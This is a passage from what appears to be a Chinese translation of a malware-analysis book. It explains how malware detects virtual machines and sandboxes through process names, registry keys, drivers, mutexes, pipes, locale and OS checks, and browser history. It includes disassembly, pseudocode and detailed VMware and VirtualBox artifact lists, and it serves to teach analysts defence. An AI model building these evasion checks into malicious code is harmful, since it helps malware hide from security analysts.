lea ecx, [esp+peInfo]
4 push ecx // Pointer to buffer (peInfo)
push eax // Handle to snapshot
call Process32Next
test [esp+peInfo.szExeFile], vboxtray_process_name
5 jz loc_3 // Loop
CreateToolhelp32Snapshot 函数创建一个受害主机上正在运行的进程快照,并返回该快照的句柄 ❶。该句柄与指向 peInfo 缓冲区的指针一起被压入堆栈,后者将存储 Process32First 函数的输出 ❷。Process32First 输出有关主机上第一个进程的信息,即 peInfo.szExeFile。在调用 Process32First 后,恶意软件将 peInfo.szExeFile 与 vboxtray_process_name 变量进行比较,后者之前被定义为 "VboxTray.exe" ❸。(该变量赋值在代码片段中未显示。)如果进程名称不匹配,程序将跳转到代码的下一个区域。
指向缓冲区的指针和进程快照句柄再次被压入堆栈,以为下一个函数做准备:Process32Next ❹,该函数与 Process32First 完全相同,但会遍历系统中剩余的进程。当下一个进程被枚举并存储到缓冲区后,恶意软件会再次与 vboxtray_process_name 变量进行比较。这时,如果名称不匹配,代码将循环执行 Process32Next,直到枚举完所有进程或找到目标进程 ❺。
如果你在分析恶意软件时,发现它正在枚举进程列表并检查是否存在某个特定的进程名,如 VboxTray.exe 或 Vmtoolsd.exe,这应该引起警觉。以下是恶意软件可能针对的一些常见虚拟机相关进程名称:
VMware
-
TPAutoConnSvc.exe
-
VGAuthService.exe
-
VMwareService.exe
-
Vm3dservice.exe
-
Vmtoolsd.exe
-
Vmwaretray.exe
-
Vmwareuser.exe
VirtualBox
-
VboxControl.exe
-
VBoxService.exe
-
VboxTray.exe
一些恶意软件变种还会搜索典型的恶意软件分析工具(如 Procmon、Wireshark、Process Explorer 和 Fiddler),这些工具可能在分析员的工作站上运行,在恶意软件被引爆时。如果恶意软件发现系统中正在运行以下示例进程,它可能会决定终止自己或采取其他规避措施:
-
autoruns.exe
-
fiddler.exe
-
ollydbg.exe
-
procexp.exe
-
procmon.exe
-
tcpview.exe
-
wireshark.exe
-
x64dbg.exe
通常,你可以在运行这些工具之前简单地重命名可执行文件。例如,将procmon.exe重命名为nomcorp.exe可能会避开基本的恶意软件检查。然而,这个技巧对那些检查窗口标题栏的恶意软件不起作用。
在枚举和搜索特定进程名称时,一些恶意软件会使用哈希化的名称,而不是明文字符串,以避免让分析者轻易识别目标。例如,进程名称fiddler.exe的 MD5 哈希值是 447c259d51c2d1cd320e71e6390b8495,因此如果你正在调试某个恶意软件样本或在反汇编工具中检查它,你可能会看到字符串447c259d51c2d1cd320e71e6390b8495,而不是fiddler.exe。你可以看出,这会减缓分析过程,可能会让经验不足的分析员感到困惑。
这种哈希处理将在第十六章中进行更深入的讨论。目前,记住在分析恶意软件样本时,你可能不会看到清晰明了的进程名称;始终留意可能的哈希化。这不仅适用于进程,还适用于文件名、服务以及恶意软件可能正在搜索的其他字符串。
目录和文件
枚举目录和文件是恶意软件检测沙箱和虚拟机的另一种技术。恶意软件可能会搜索与虚拟化软件(如 VMware Workstation 和 VirtualBox)或自动化恶意软件沙箱(如 Cuckoo)相关的特定文件和目录。
以下代码片段展示了一个恶意软件样本调用FindFirstFile,以C:\Windows\System32\drivers\vm**为目标。该样本正在搜索 Windows 的drivers目录,查找任何前缀为vm*的驱动文件,这是 VMware Workstation 驱动文件的常见模式:
call FindFirstFileW
test [ebp+FindFileData.cFileName], fileName ; "C:\Windows\System32\drivers\vm*"
jz loc_2
`--snip--`
loc_2:
`--snip--`
call FindNextFileW
test [ebp+FindFileData.cFileName], fileName
jz loc_2
在调用 FindFirstFile 后,test 指令将返回的文件名与 C:\Windows\System32\drivers\vm* 进行比较。如果 test 指令的结果是 0(表示没有匹配),代码跳转到 loc_2,其中包含下一个函数调用 FindNextFile。FindNextFile 执行后,test 指令再次比较文件名。如果 test 指令返回 0,程序再次跳转到 loc_2。FindNextFile 将继续执行,直到找到匹配项或没有更多文件。
虽然恶意软件中进行文件枚举的原因有很多,但如果存在 FindFirstFile 和 FindNextFile,这可能意味着恶意软件样本正在尝试检测分析环境。恶意软件可能会针对的 VMware Workstation 和 VirtualBox 的文件和目录路径包括以下内容:
VMware 文件
-
C:\Windows\System32\drivers\vm*
-
C:\Windows\System32\vm*
-
C:\Windows\SysWOW64\vm*
VMware 目录
-
*C:\Program Files\VMware*
-
*C:\Program Files\Common Files\VMware*
VirtualBox 文件
-
C:\Windows\System32\VBox*
-
C:\Windows\System32\drivers\VBox*
VirtualBox 目录
- *C:\Program Files\Oracle\VirtualBox Guest Additions*
与虚拟机类似,自动化沙盒环境通常包含恶意软件可能会认为可疑的特定文件夹和文件。例如,许多 Cuckoo 安装包含多个脚本和文件,如 Analyzer.py 和 analysis.conf。一些 Cuckoo 版本甚至可能在 *C:* 目录路径下有一个名为 cuckoo 或 agent 的目录。在自动化恶意软件分析沙盒中分析规避型恶意软件时,请牢记这一点。
最后,恶意软件可以通过使用目录和文件枚举来识别其操作环境并分析目标。例如,如果某个恶意软件样本针对特定的组织或系统类型,它可能会枚举文件系统,寻找包含目标公司名称的特定目录和文件。这个检查将使恶意软件仅感染其攻击范围内的系统。一个很好的例子是介绍中提到的 Stuxnet。在其利用战术的一部分中,Stuxnet 会搜索受害主机上与西门子 Step7 软件相关的多个文件。如果这些文件不存在,系统将不会受到感染。
注意
这些文件和目录中的一些可以被重命名甚至删除,而不会影响虚拟机环境。我将在附录 A 中详细讨论这一点。
共享文件夹
为了在虚拟机和宿主操作系统之间共享文件,分析师可以配置共享文件夹。但是,尽管共享文件夹允许从宿主机到访客机以及反向轻松传输文件,它们也为恶意软件提供了另一个线索,表明它正在被分析。
恶意软件可以通过使用WNetGetProviderName Windows API 函数来枚举共享文件夹,该函数检索网络资源信息。由于虚拟机共享文件夹本质上是网络资源,在配置了共享文件夹的 VirtualBox 虚拟机上调用此函数可能会返回例如VirtualBox Shared Folders的结果,这表明该机器是托管在 VirtualBox 虚拟化平台上的,直接揭示了这一点。
此外,由于虚拟机共享文件夹的功能类似于网络驱动器,它们可以通过正常的文件和文件夹枚举功能进行识别,例如前面讨论过的FindFirstFile和FindNextFile。这些函数的目标路径将是虚拟机网络驱动器的名称。一些常见的网络驱动器名称是\VboxSrv(用于 VirtualBox)和\vmware-host(用于 VMware Workstation)。
注册表
Windows 注册表包含关于已安装软件、硬件配置、网络、语言和位置设置以及许多其他数据点的信息,这些都是 Windows 运行所需的。因此,恶意软件在尝试理解目标环境或检测虚拟机或沙箱时,通常会查询注册表。它可能会枚举整个注册表的树形结构,并搜索可疑的与虚拟机相关的字符串,或者它可能只是检查一些特定的感兴趣的键。以下摘录显示了这在实际恶意软件样本中可能是如何表现的:
xor r8d, r8d ; ulOptions
mov r9d, ebx ; samDesired
1 mov rdx, r15 ; lpSubKey ("HKLM:\HARDWARE\Description\System")
mov rcx, r13 ; hKey
mov [rsp+70h+phkResult], rax ; lpReserved
2 call RegOpenKeyExA
test eax, eax
jz short loc_180018C24
`--snip--`
3 mov [rsp+70h+lpData], r14 ; lpData
mov [rsp+70h+lpType], rax ; lpType
and [rsp+70h+phkResult], 0
lea r9, [rbp+cchValueName] ; lpcchValueName
4 mov r8, rsi ; lpValueName
mov edx, r15d ; dwIndex
5 call RegEnumValueA
cmp eax, 0EAh ; 'ê'
jz short loc_180018D03
`--snip--`
6 cmp [rsp+70h+lpData], suspect_value ; "VBOX -1"
je terminate_process
恶意软件调用RegOpenKey来打开一个特定的感兴趣的注册表键,然后使用RegEnumValue函数来枚举该注册表键下的所有值和数据。让我们稍微分析一下这段代码。
首先,恶意软件将 lpSubKey 值(表示它感兴趣的注册表项)移动到 rdx 寄存器 ❶。在此案例中,该注册表项为 HKLM:\HARDWARE\Description\System。rdx 寄存器中的值被用作后续调用 RegOpenKeyExA ❷ 的参数。接下来,代码加载指向 lpData ❸ 和 lpValueName ❹ 结构的指针。然后,它调用 RegEnumValueA ❺,该函数将返回的值和数据存储在 HKLM:\HARDWARE\Description\System 注册表项的 lpValueName 和 lpData 中。
通常,恶意软件会在循环中多次调用 RegEnumKey,因为每次调用 RegEnumKey 只会存储一个值和数据项。为了简化代码,我只在代码中包含了一次对该函数的调用。
最后,恶意软件将可疑的值 VBOX -1 与 lpdata 缓冲区中的值 ❻ 进行比较。如果它们匹配,恶意软件会假设自己正在 VirtualBox 虚拟机中运行并终止自己。
恶意软件还可能查询注册表中的特定区域以进行环境分析。例如,它可能会尝试检测自己是否在某个公司计算机系统上运行,以避免不小心感染错误的目标。在以下伪代码中,这个恶意软件示例正在查询与其目标相关的注册表软件,这个公司名为 NewCorp:
reg_key = RegOpenKey(HKEY_CURRENT_USER, "Software\\NewCorp", result)
if (reg_key != ERROR_SUCCESS) {
TerminateProcess)}
这个示例使用了 RegOpenKey Windows API 函数来搜索主机系统的 HKCU\Software\NewCorp 注册表项。如果恶意软件找到了该注册表项,它会假设自己正在 NewCorp 组织的系统上运行;否则,它会自行终止。
恶意软件还可以使用 Windows 命令行工具查询注册表,例如 reg query:
C:\> reg query HKLM\Software\NewCorp
如果该注册表项存在于受害者的系统中,则该命令会成功执行,否则失败。
恶意软件查询注册表的另一种方法是使用 Windows 管理工具(WMI)、PowerShell 和其他本地 Windows 工具,正如我们在第十五章中讨论的那样。目前要强调的是,查询注册表有很多方法,但同样需要注意的是,恶意软件和良性软件都可能因许多原因查询注册表;查询不一定意味着恶意软件正在使用某种分析或规避技术。恶意软件可能会搜索以下注册表项,以尝试识别虚拟机分析环境:
VMware 工作站
-
HKCU:\SOFTWARE\VMware, Inc.
-
HKLM:\SOFTWARE\Classes\Applications\VMwareHostOpen.exe
-
HKLM:\SOFTWARE\Classes\VMwareHostOpen.AssocFile
-
HKLM:\SOFTWARE\Classes\VMwareHostOpen.AssocURL
-
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VMware 用户进程
-
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VMware VM3DService 进程
-
HKLM:\SOFTWARE\RegisteredApplications\VMware 主机打开
-
HKLM:\SOFTWARE\WOW6432Node\RegisteredApplications\VMware 主机打开
-
HKLM:\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware_Virtual_IDE_Hard_Drive___________00000001\
虚拟盒子
-
HKLM:\HARDWARE\ACPI\DSDT\VBOX__
-
HKLM:\HARDWARE\ACPI\FADT\VBOX__
-
HKLM:\HARDWARE\ACPI\RSDT\VBOX__
-
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VBoxTray
-
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Oracle VM VirtualBox 客户端附加组件
-
HKLM:\SOFTWARE\Oracle\VirtualBox 客户端附加组件
-
HKLM:\SYSTEM\ControlSet001\services\VBoxMouse
-
HKLM:\SYSTEM\ControlSet001\services\VBoxSF
-
HKLM:\SYSTEM\ControlSet001\services\VBoxService
-
HKLM:\SYSTEM\ControlSet001\services\VBoxVideo
-
HKLM:\SYSTEM\ControlSet001\services\VBoxGuest
一般
-
HKLM:\HARDWARE\Description\System\BIOS\系统制造商
-
HKLM:\HARDWARE\Description\System\BIOS\SystemProductName
-
HKLM:\HARDWARE\Description\System\SystemBiosVersion
-
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Store\Configuration\OEMID
-
HKLM:\SYSTEM\CurrentControlSet\Control\Class\
你可以使用 Windows 工具 regedit.exe 在你的分析虚拟机上调查这些注册表键,并了解恶意软件可能正在寻找什么。例如,当我检查我自己的分析机器上的 HKLM:\HARDWARE\Description\System 注册表键时,我可以发现一些可能对恶意软件感兴趣的值和数据(见图 4-1)。

图 4-1:在 regedit.exe 中的硬件描述
这里明显的感兴趣数据点是 VBOX -1 和 Oracle VM VirtualBox 字符串。另一个重要提示是 SystemBiosDate 为 06/23/99,这表明安装了 VirtualBox 虚拟化程序。再一次,这些注册表键仅是示例,可能会根据你的虚拟化程序版本、已安装的软件和其他因素,在你的虚拟机上存在或不存在。
注意
这些注册表键通常可以被重命名或完全删除,以便欺骗恶意软件并绕过其规避技术。我将在附录 A 中更详细地讨论这一点。
服务
服务 是在系统启动时通常会启动并在用户会话的后台运行的应用程序,它们是恶意软件可能尝试识别虚拟机或沙箱环境的另一种方式。有些服务是特定于某种虚拟化程序的,暴露了其存在,还有一些服务也能识别已安装的恶意软件分析工具。例如,恶意软件可能会查找 VirtualBox 客户端附加服务,这表明系统中安装了 VirtualBox。
恶意软件可能通过多种方式查询服务。最常见的技术之一是使用 Windows API 函数 EnumServiceStatus 或 EnumServiceStatusEx,这些函数会返回主机上的服务列表及其相关状态,通常是 running(运行中)或 stopped(已停止)。恶意软件还可以使用 OpenService 函数打开特定服务的句柄。如果它成功获取句柄(意味着服务存在),返回码将为 true。
除了 Windows API 函数外,恶意软件还可以使用其他方法来枚举服务。例如,恶意软件可以使用 Windows 的 sc 命令行工具查询服务列表或特定服务,如下所示:
C:\> sc query `ServiceName`
类似地,恶意软件可以使用 WMI 命令行工具 wmic 查询主机上的所有服务:
C:\> wmic service get `name`
最后,由于一些服务信息存储在注册表中,恶意软件可以查询注册表以获取服务信息。如果你发现恶意软件使用与服务相关的 API 函数,使用如 sc 等工具,或查询注册表以查找特定的虚拟化管理程序服务,那么该样本可能正在尝试检测分析环境。
为了更好地理解和探索你虚拟机和沙箱中运行的服务,你可以使用 Windows 原生应用 services.exe 获取系统上配置的服务列表。在图 4-2 中,你可以看到正在运行的 VirtualBox 客户机增强功能服务,这可能会向恶意软件表明它正在虚拟机环境中运行。

图 4-2:来自 services.exe 的输出
表 4-1 列出了 VMware 和 VirtualBox 创建的一些常见服务。
表 4-1: 常见虚拟化管理程序服务
| 名称 | 描述 |
|---|---|
| VGAuthService | VMware 客户机身份验证服务 |
| VMTools | VMware 工具服务 |
| VBoxService | VirtualBox 客户机增强功能服务 |
已安装软件
恶意软件可能会枚举分析机器上已安装的软件,并寻找代表常见分析工具或沙箱相关工件的关键词。此技术也可以用于目标配置文件分析;恶意软件可能仅通过查询主机,寻找已安装的软件,以确认该系统是一个有效的目标。
为了搜索已安装的软件,恶意软件可能会使用 Windows API 函数,如 MsiEnumProducts,或者检查 HKLM\Software\Microsoft\Windows\Current Version\Uninstall 注册表项,其内容来自我的恶意软件分析机器,如 图 4-3 所示。

图 4-3:枚举 HKLM\Software\Microsoft\ Windows\Current Version\Uninstall 注册表项
这里可以看到多个分析工具,以及 VirtualBox 客户端附加组件。
注意
软件安装程序会在主机上创建许多工件,例如新的文件夹、文件和注册表项,所有这些都可以被恶意软件枚举。有时,使用 便携版 分析工具(这些工具不需要安装,可以直接从自包含的可执行文件运行)是更好的选择。
互斥体
正如 第一章 所解释的,互斥体 是一种帮助控制对资源访问的对象,充当某种门卫。某些沙箱和虚拟机监控器具有独特的互斥体,可能对恶意软件具有吸引力。例如,VMware 通常使用以 VMware 开头的互斥体,如 VMwareGuestCopyPasteMutex。
恶意软件可以使用 Windows API 函数 CreateMutex 或 OpenMutex 来搜索特定的互斥体值,如下所示:
push mutex_name ; "VMwareGuestCopyPasteMutex"
push 0
push 20000L
call OpenMutexA
test eax, eax
恶意软件将包含其想要查找的互斥体(VMwareGuestCopyPasteMutex)的 mutex_name 变量推送到栈中。它还推送了其他两个值,这些值是 OpenMutex 函数所需的,但在此不重要。接下来,它调用 OpenMutexA,并使用 test 指令检查该函数是成功还是失败。如果函数调用成功,则说明系统中存在 VMwareGuestCopyPasteMutex,意味着该系统很可能在 VMware 虚拟机监控器内运行。
请记住,并非所有与互斥锁相关的活动都是恶意的。互斥锁是标准的 Windows 对象,本身既不恶意也不良性。如果你发现恶意软件在枚举互斥锁并尝试寻找像上述示例中那样非常特定的字符串,它可能正在使用这种检测技术。一些可能暴露虚拟机环境的互斥锁包括以下内容:
VMware Workstation
-
VMToolsHookQueueLock
-
VMwareGuestCopyPasteMutex
-
VMwareGuestDnDDataMutex
VirtualBox
-
VBoxService
-
VBoxTray
管道
管道 是 Windows 对象,用于进程间通信。一些虚拟化软件会在客户操作系统上创建独特的管道,这可能会暴露它们的存在给恶意软件。恶意软件可以调用多个不同的函数,如 CreateFile 和 CallNamedPipe,来查找特定的命名管道。
检查自己的虚拟机中是否存在这些管道的一个好方法是使用 Pipelist 工具,它是 Mark Russinovich 的 Windows Sysinternals 套件的一部分。图 4-4 显示了在 VMware Workstation 虚拟机上运行 pipelist 命令的输出。如果你仔细观察,可能会发现 vgauth-service 管道,这是 VMware 特有的。

图 4-4:在 VMware Workstation 虚拟机上运行 pipelist 命令的输出
这里列出了一些可能存在于虚拟机中的常见管道:
VMware Workstation
-
Vmmemctl
-
vgauth-service
VirtualBox
-
VBoxTray
-
VBoxTrayIPC
-
VBoxGuest
-
VBoxVideo
-
VBoxMouse
-
VBoxMiniRdr ### 设备和驱动程序
虚拟化软件通常会在客户操作系统上安装特定的设备和驱动程序。设备 是通常表示系统中物理硬件的对象,如 USB 控制器或硬盘卷。驱动程序 是控制硬件的软件对象,允许操作系统和设备之间进行通信。设备和驱动程序对象通常由 Windows 对象管理器管理。
恶意软件可以使用两个 Windows 函数列举设备和驱动程序对象:NtOpenDirectoryObject 和 NtQueryDirectoryObject。以下代码展示了这些函数的使用:
mov [rbp+57h+ObjectAttributes.ObjectName], rax
mov edx, 1 ; DesiredAccess
1 lea rcx, [rbp+57h+DirectoryHandle] ; "\\Driver"
2 call NtOpenDirectoryObject
mov ebx, eax
test eax, eax
`--snip--`
mov rcx, [rbp+57h+DirectoryHandle] ; "\\Driver"
xor r9d, r9d ; ReturnSingleEntry
mov [rsp+110h+ReturnLength], rax ; ReturnLength
mov r8d, r14d ; BufferLength
mov [rbp+57h+var_BC], eax
3 mov rdx, rsi ; Buffer
lea rax, [rbp+57h+var_BC]
mov [rsp+110h+Context], rax ; Context
mov [rsp+110h+RestartScan], 1 ; RestartScan
4 call NtQueryDirectoryObject
你可以看到通过指令 lea (即 加载有效地址)将指向 \Driver 目录的句柄加载到寄存器 rcx 中 ❶。lea 指令计算操作数的地址并将其加载到目标寄存器中。随后调用 NtOpenDirectoryObject 函数,它打开 \Driver 目录,为随后的 NtQueryDirectoryObject 函数调用 ❷ 做准备。然后,NtQueryDirectoryObject ❹ 查询 \Driver 目录中的对象,并将对象列表存储在先前指定的缓冲区 ❸ 中。恶意软件接着搜索这个缓冲区,寻找通常在虚拟机中使用的特定驱动程序。设备也可以以相同的方式进行查询。
为了更好地理解 Windows 对象管理器的内容,你可以直接在 Windows 虚拟机上使用 Sysinternals 提供的 WinObj 工具查看它。图 4-5 显示了我在分析虚拟机上使用 WinObj 安装的一些与 VirtualBox 相关的驱动程序。你可以在自己的分析系统上自由探索这些内容。

图 4-5:使用 WinObj 探索驱动程序
一些常见的 VMware Workstation 和 VirtualBox 的虚拟机管理程序驱动程序包括以下几种:
VMware Workstation
-
vm3dmp
-
vm3dmp-debug
-
vm3dmp-stats
-
vm3dmp-sloader
-
vmci
-
vmhgfs
-
VMMemCtl
-
vmmouse
-
vmrawdsk
-
vmusbmouse
-
vsock
VirtualBox
-
VBoxGuest
-
VBoxMouse
-
VBoxSF
-
VBoxVideo
-
VBoxWddm
这里列出一些常见的设备:
VMware Workstation
-
VMCIGuestDev
-
VMCIHostDev
-
vm3dmpDevice
-
vmci
-
vmmemctl
VirtualBox
-
VBoxGuest
-
VBoxMiniRdr
用户名和主机名
许多自动化恶意软件分析沙箱都有一份默认的可能用户名列表,分配给系统上的用户账户。这些用户名可能是随机生成的,但通常是硬编码的。系统的主机名也可能是硬编码的,并在启动时随机生成。然而,这不仅仅是自动化沙箱的特性。恶意软件分析师也可能配置他们的分析虚拟机,使用可能是通用的、知名的,或者不是“真实”用户可能配置的用户名或主机名。
一些恶意软件可以通过枚举系统的用户账户和主机名来利用此信息,特别是搜索像 Administrator、User 或 John 这样的通用用户名,或者像 Cuckoo、Test、Desktop、Workstation 或 Lab 这样的主机名。TequilaBoomBoom,曾经是 VirusTotal 沙箱服务的主机名,也是一个常见的检查项。
注意
配置你的虚拟机和沙箱环境时,使用非通用的用户名和主机名。尽量使用实际终端用户或企业环境可能使用的值,或者随机生成名称。
区域设置和语言设置
键盘和语言设置可用于确定潜在受害者的位置。恶意软件可能会利用此技术根据地理或地缘政治原因,选择是否将主机排除或纳入有效目标,或者逃避分析。例如,假设一个恶意软件样本想要确定潜在受害者是否位于俄罗斯或是否说俄语。根据这些信息,它可能选择在主机上部署其有效载荷,或者悄悄终止自身。以下是它可以用来提取这些信息的三种不同方法:
-
获取键盘布局语言
-
枚举系统自身的语言设置,例如显示语言
-
获取主机的区域设置
第一种方法可能是最常见的。Windows 函数 GetKeyboardLayout 返回主机的活动键盘语言,GetKeyboardLayoutList 返回主机上安装的所有键盘语言的完整列表。
有几种可能的 Windows 函数可以获取主机的语言设置。例如,GetUserDefaultUILanguage返回当前登录用户的界面语言。GetSystemDefaultUILanguage返回系统语言,或者更具体地说,是操作系统安装时的语言。最后,GetProcessPreferredUILanguages将列出用户的运行进程可能正在使用的语言。选择真多!
主机的区域设置与主机的键盘和 UI 语言设置不同,它是特定语言和国家组合的语言相关设置列表。区域设置中可能包含的项目有货币和日期/时间显示格式,以及语言标识符。Windows API 函数GetSystemDefaultLCID和GetUserDefaultLCID返回可用于分析主机或用户的区域信息。进程和线程也可能有自己的自定义区域设置,恶意软件可以通过函数GetThreadLocale查询。
在一个恶意软件样本中,您可能会看到调用前面提到的某个函数,比如GetKeyboardLayout,然后与几个代表 Windows 语言标识符的值进行比较。以下伪代码演示了这种技术的实际应用:
keyboard_layout = GetKeyboardLayout(0)
if keyboard_layout == "0x419" {
TerminateProcess()
}
这个恶意软件样本调用了GetKeyboardLayout函数,并将结果与值0x419进行比较,后者是俄语语言标识符的十六进制表示(也称为十六进制)。如果使用的是这个俄语语言标识符,恶意软件将执行TerminateProcess。
表 4-2 列出了 Windows 的一些语言标识符。
表 4-2: 常见语言标识符
| 标识符(十六进制) | 语言(及关联国家) |
|---|---|
| 0x402 | 保加利亚语(保加利亚) |
| 0x4 | 中文(简体)(中国) |
| 0x809 | 英语(英国) |
| 0x409 | 英语(美国) |
| 0x407 | 德语(德国) |
| 0x418 | 罗马尼亚语(罗马尼亚) |
| 0x419 | 俄语(俄罗斯) |
还有几种更隐蔽的方法可以枚举或推测潜在受害者的语言和地区设置,例如枚举日期/时间格式、货币格式,甚至日历信息。潜在的列表非常广泛,以至于本书的一部分内容可以专门介绍这种技术。最重要的是,现在你已经掌握了识别恶意软件可能用来配置受害者语言和地区的许多常见方法所需的知识。
操作系统版本信息
在感染受害者机器之前,恶意软件通常需要确定该机器是否运行某个特定的操作系统。例如,Stuxnet 只感染了 Windows XP 计算机,因为其作者知道目标设施使用 Windows XP 来控制西门子可编程逻辑控制器。只能在某个特定版本的 Windows 上运行的恶意软件,可能会在感染主机之前尝试识别操作系统,以避免无意中导致系统崩溃。例如,如果恶意软件包含仅适用于特定子版本 Windows 的漏洞利用代码,比如 Windows 7 Service Pack 1,但会导致 Windows 7 Service Pack 2 系统不稳定,它可能会首先想确定受害者的操作系统子版本,以避免造成意外崩溃,从而潜在地警告受害者其存在。
这种技术通常不是作为检测或规避技术来实施的,但在这个上下文中值得讨论,因为它仍然可能干扰分析过程。例如,如果你正在研究 Stuxnet,并决定在一个使用现代 Windows 操作系统的虚拟机或沙箱中运行样本,它很可能无法正常运行,从而无意中规避了自动化和动态分析方法。这是一个重要的要点:在你的分析环境中无法正确执行的恶意软件样本不一定是故意想要规避的。
通过 Windows API,有多种方法可以枚举目标的操作系统及其版本。GetVersionEx函数,以及它的近亲GetVersion,可以完成这一操作,如下所示:
lea eax, [ebp-0A0h]
push eax
mov [ebp+VersionInformation.dwOSVersionInfoSize], 9Ch
call GetVersionExA
test eax, eax
jnz short loc_2
`--snip--`
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz loc_1000FA0F
GetVersionExA 函数接受一个缓冲区作为参数。这个缓冲区将是内存区域,在调用 GetVersionExA 后,返回的操作系统信息将被存储在该缓冲区中。lea 指令将缓冲区地址 [ebp-0A0h] 加载到 eax 寄存器中,然后通过 push eax 将缓冲区地址推送到堆栈中。
接下来,样本必须定义从 GetVersionExA 函数调用返回的数据的大小。这些数据将存储在名为 VersionInformation 的结构中。此样本指定 VersionInformation 结构的大小为 9C,其十六进制值等于 156 字节。
最后,恶意软件样本调用 GetVersionExA (调用 GetVersionExA)来获取操作系统版本,然后通过将 dwMajorVersion 与值 4 进行比较来检查该信息,值 4 代表一个非常旧的 Windows 版本。(举个例子,5 是 Windows XP 的版本号!)本质上,恶意软件样本在测试该主机的 Windows 版本有多旧。
表格 4-3 包含了 dwMajor 和 dwMinor 操作系统版本的一个子集。
表格 4-3: dwMajor 和 dbMinor 操作系统版本
| 操作系统 | dwMajorVersion | dwMinorVersion |
|---|---|---|
| Windows 10 | 10 | 0 |
| Windows Server 2016 | 10 | 0 |
| Windows 8.1 | 6 | 3 |
| Windows Server 2012 | 6 | 2 |
| Windows 7 | 6 | 1 |
| Windows Server 2008 | 6 | 0 |
| Windows Vista | 6 | 0 |
| Windows XP | 5 | 1 |
总结
在本章中,我们介绍了许多常见的(以及一些不太常见的)恶意软件通过检查操作系统对象和痕迹来检测分析环境的方法。在下一章中,我们将探讨恶意软件可以使用的一些技术,这些技术可以用来寻找合法用户活动的证据(或缺乏活动的证据!),以揭示潜在的虚拟机或沙箱环境。
第六章:5 用户环境与交互检测

随着自动化恶意软件沙盒技术越来越善于隐藏自己免受规避型恶意软件的攻击,恶意软件作者必须做出调整。他们使用的一种策略是列举用户的环境以及用户与其互动的情况。正如第四章所指出的,普通用户的设置通常会有多个打开的浏览器标签页、许多窗口和正在使用的应用程序,且频繁的鼠标和键盘交互,使得它与沙盒环境有很大的不同。自动化的恶意软件分析沙盒设计是启动、引爆恶意软件样本,然后迅速关闭。它可能不会表现出任何正常用户行为或其他表明其是有效最终用户系统的迹象。
现代恶意软件可能会通过寻找典型的用户行为来查找真实用户的证据,例如下载的浏览器 Cookies、桌面壁纸设置或鼠标和键盘交互。在这一章中,我将概述一些恶意软件用来实现这一目标的有趣技巧。
浏览器 Cookies、缓存和浏览历史
一些恶意软件可能能够列举主机的互联网 Cookies、缓存和浏览历史。Cookies 是网页保存到磁盘的小文件,通常用于存储用户的网页配置和偏好设置。根据浏览器和版本的不同,Cookies 可以存储在单独的文件中,或存储在像 SQLite 这样的数据库中。缓存 是存储网站资源(如图片)的文件或一组文件,这样下次用户访问该页面时可以更快地加载。与 Cookies 类似,缓存可以存储在多个文件中,也可以存储在数据库中。最后,浏览历史 只是一个先前访问过的网站的列表,通常存储为一个或多个数据库文件。
普通用户通常会有成百上千个存储的 Cookie 和缓存文件,以及大量的上网历史,而典型的沙盒环境或恶意软件分析系统可能根本没有这些内容。恶意软件可以利用这一差异,通过计算 Cookie、缓存条目或之前访问过的网站数量,并将其与阈值进行比较。例如,如果受害者的机器上只有五个浏览历史条目,恶意软件可能会认为它运行在一个干净的沙盒环境中。
每个浏览器都有标准的位置来存储 Cookies、缓存文件和浏览历史,恶意软件可能会尝试列举这些内容。以下是一些最常见的:
Chrome
-
C:\Users<user>\AppData\Local\Google\Chrome\User Data\Default
-
C:\Users<user>\AppData\Local\Google\Chrome\User Data\Default\Cache
-
C:\Users<user>\AppData\Local\Google\Chrome\User Data\Default\History
Firefox
-
C:\Users<user>\AppData\Local\Mozilla\Firefox\Profiles
-
C:\Users<user>\AppData\Roaming\Mozilla\Firefox\Profiles
Internet Explorer
-
C:\Users<user>\AppData\Roaming\Microsoft\Windows\Cookies
-
C:\Users<user>\AppData\Local\Microsoft\Windows\Temporary Internet Files
-
C:\Users<user>\AppData\Local\Microsoft\Windows\WebCache
-
C:\Users<user>\AppData\Local\Microsoft\Internet Explorer\Recovery
Edge
-
*C:\Users<user>\AppData\Local\Packages<package name>\AC\MicrosoftEdge\User*
-
*C:\Users<user>\AppData\Local\Packages<package name>\AC\MicrosoftEdge\Cache*
这个列表并不详尽,当然,具体位置可能会根据使用的 Windows 操作系统和浏览器版本的不同而发生变化。
如果你发现恶意软件正在通过这些文件枚举(可能通过调用 Windows 函数,如 FindFirstFile 和 FindNextFile),它可能正在尝试检测分析环境。恶意软件也可能使用 FindFirstUrlCacheEntry 和 FindNextUrlCacheEntry,这些函数会顺序枚举浏览器缓存条目。然而,这些 API 仅限于 Microsoft 浏览器缓存。再次强调,枚举方法很大程度上取决于使用的浏览器和版本。
较旧的浏览器和版本通常使用多个小文件来存储 cookies、缓存和历史记录,而现代浏览器则使用数据库。如果浏览器的 cookies、缓存和历史记录存储在数据库文件中,恶意软件可能会尝试直接与它们交互。例如,在恶意软件的可执行文件或其进程内存地址空间中,你可能会看到引用特定浏览器目录的静态字符串(例如 C:\Users<user>\AppData\Local\Google\Chrome\User Data\Default\History),然后是类似这样的数据库查询:
SELECT title FROM urls
这个命令可以用来枚举历史数据库中的所有网络历史记录。由于数据库交互超出了本书的范围,我们不会在这里深入讨论,但需要注意这种技术。
最近的 Office 文件
使用最近的 Office 文件是恶意软件判断是否在分析实验室中运行的另一种有效方式。真实的最终用户很可能已经打开了许多 Microsoft Office 应用程序的文件,而 Windows 会跟踪这些文件。例如,当你在 Word 中打开文档时,该文件将会被添加到你的Office 最近文件列表中。
有关您最近的 Office 文件的信息包含在注册表项HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office<Office_Version_Number>下的特定子项中,如Excel、Word、Powerpoint等。进一步的信息可能存储在文件系统目录C:\Users<user>\AppData\Roaming\Microsoft\Office\Recent中。如果您发现恶意软件正在枚举此注册表项或文件夹路径(使用之前提到的任何 Windows 文件和注册表枚举函数),它可能正在尝试识别最近的 Office 文档,以确定受害主机是否由“真实”最终用户使用。
用户文件和目录
